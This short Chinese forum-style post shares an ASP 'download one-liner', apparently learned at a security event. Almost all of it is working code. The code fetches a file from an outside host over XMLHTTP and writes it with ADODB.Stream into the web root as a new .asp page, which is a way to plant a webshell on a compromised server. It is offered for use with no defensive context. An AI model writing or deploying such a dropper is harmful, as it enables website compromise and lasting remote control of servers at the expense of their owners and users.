asp xmlhttp下载一句话

分享一下
在3est活动中学习的godlong的

<%
set xpost = createobject("microsoft.xmlhttp")
xpost.open "get","http://www.fxxxx.com/1.txt",0 '下载文件的地址
xpost.send()
set sget = createobject("adodb.stream")
sget.mode = 3
sget.type = 1
sget.open()
sget.write(xpost.responsebody)
sget.savetofile "e:\wwwroot\fuck1.asp",2
%>